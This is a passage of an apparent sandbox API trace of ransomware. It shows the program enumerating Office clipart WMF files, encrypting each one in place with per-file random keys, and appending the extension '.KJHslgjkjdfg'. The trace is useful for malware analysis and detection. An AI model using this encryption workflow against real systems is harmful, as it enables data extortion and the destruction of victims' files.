SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0211.062] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0211.062] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.063] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.063] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.063] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2026, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2026, lpOverlapped=0x0) returned 1 [0211.064] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2030, dwBufLen=0x2030 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2030) returned 1 [0211.064] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.064] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2030, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2030, lpOverlapped=0x0) returned 1 [0211.064] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.064] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2104, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.064] SetEndOfFile (hFile=0x130) returned 1 [0211.065] GetProcessHeap () returned 0x990000 [0211.066] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0211.066] GetProcessHeap () returned 0x990000 [0211.066] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0211.066] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00159_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00159_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00159_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00159_.wmf.kjhslgjkjdfg")) returned 1 [0211.067] CloseHandle (hObject=0x130) returned 1 [0211.068] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3815d700, ftCreationTime.dwHighDateTime=0x1bd4aea, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3815d700, ftLastWriteTime.dwHighDateTime=0x1bd4aea, nFileSizeHigh=0x0, nFileSizeLow=0x35b2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00166_.WMF", cAlternateFileName="")) returned 1 [0211.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00166_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0211.069] GetProcessHeap () returned 0x990000 [0211.069] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0211.069] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0211.069] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0211.069] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0211.072] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.072] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.072] GetProcessHeap () returned 0x990000 [0211.073] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0211.073] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0211.073] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.073] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0211.073] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0211.073] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0211.073] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0211.073] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0211.073] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0211.073] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.073] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.073] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.074] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x35b2, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x35b2, lpOverlapped=0x0) returned 1 [0211.075] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x35c0, dwBufLen=0x35c0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x35c0) returned 1 [0211.075] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.075] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x35c0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x35c0, lpOverlapped=0x0) returned 1 [0211.075] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.075] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3694, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.075] SetEndOfFile (hFile=0x130) returned 1 [0211.078] GetProcessHeap () returned 0x990000 [0211.078] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0211.078] GetProcessHeap () returned 0x990000 [0211.078] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0211.078] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00166_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00166_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00166_.wmf.kjhslgjkjdfg")) returned 1 [0211.080] CloseHandle (hObject=0x130) returned 1 [0211.080] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35b37d00, ftCreationTime.dwHighDateTime=0x1bd4aea, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35b37d00, ftLastWriteTime.dwHighDateTime=0x1bd4aea, nFileSizeHigh=0x0, nFileSizeLow=0x3b2e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00168_.WMF", cAlternateFileName="")) returned 1 [0211.080] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00168_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00168_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0211.082] GetProcessHeap () returned 0x990000 [0211.082] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0211.083] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0211.083] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0211.083] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0211.085] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.085] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.085] GetProcessHeap () returned 0x990000 [0211.085] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0211.085] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0211.085] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.085] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0211.085] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0211.085] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0211.085] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0211.086] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0211.086] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0211.086] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.086] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.086] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.086] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3b2e, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3b2e, lpOverlapped=0x0) returned 1 [0211.087] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3b30, dwBufLen=0x3b30 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3b30) returned 1 [0211.088] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.088] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3b30, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3b30, lpOverlapped=0x0) returned 1 [0211.088] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.088] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3c04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.088] SetEndOfFile (hFile=0x130) returned 1 [0211.091] GetProcessHeap () returned 0x990000 [0211.091] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0211.091] GetProcessHeap () returned 0x990000 [0211.091] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0211.091] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00168_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00168_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00168_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00168_.wmf.kjhslgjkjdfg")) returned 1 [0211.093] CloseHandle (hObject=0x130) returned 1 [0211.093] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34825000, ftCreationTime.dwHighDateTime=0x1bd4aea, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x34825000, ftLastWriteTime.dwHighDateTime=0x1bd4aea, nFileSizeHigh=0x0, nFileSizeLow=0x2242, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00170_.WMF", cAlternateFileName="")) returned 1 [0211.093] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00170_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0211.099] GetProcessHeap () returned 0x990000 [0211.099] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0211.099] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0211.099] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0211.099] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0211.102] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.102] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.102] GetProcessHeap () returned 0x990000 [0211.102] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0211.102] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0211.102] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.102] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0211.102] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0211.102] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0211.102] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0211.102] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0211.103] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0211.103] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.103] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.103] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.103] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2242, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2242, lpOverlapped=0x0) returned 1 [0211.104] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2250, dwBufLen=0x2250 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2250) returned 1 [0211.105] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.105] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2250, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2250, lpOverlapped=0x0) returned 1 [0211.105] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.105] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2324, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.105] SetEndOfFile (hFile=0x130) returned 1 [0211.108] GetProcessHeap () returned 0x990000 [0211.108] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0211.108] GetProcessHeap () returned 0x990000 [0211.108] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0211.108] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00170_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00170_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00170_.wmf.kjhslgjkjdfg")) returned 1 [0211.110] CloseHandle (hObject=0x130) returned 1 [0211.110] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2af8e800, ftCreationTime.dwHighDateTime=0x1bd4aea, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2af8e800, ftLastWriteTime.dwHighDateTime=0x1bd4aea, nFileSizeHigh=0x0, nFileSizeLow=0x8f0e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00177_.WMF", cAlternateFileName="")) returned 1 [0211.110] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00177_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00177_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0211.113] GetProcessHeap () returned 0x990000 [0211.113] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0211.113] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0211.113] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0211.113] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0211.115] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.115] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.115] GetProcessHeap () returned 0x990000 [0211.115] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0211.115] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0211.115] CryptDestroyKey (hKey=0x9b6628) returned 1 [0211.115] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0211.115] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0211.116] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0211.116] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0211.116] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0211.116] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0211.116] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0211.116] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0211.116] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.116] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x8f0e, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x8f0e, lpOverlapped=0x0) returned 1 [0211.117] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x8f10, dwBufLen=0x8f10 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x8f10) returned 1 [0211.118] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0211.118] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, 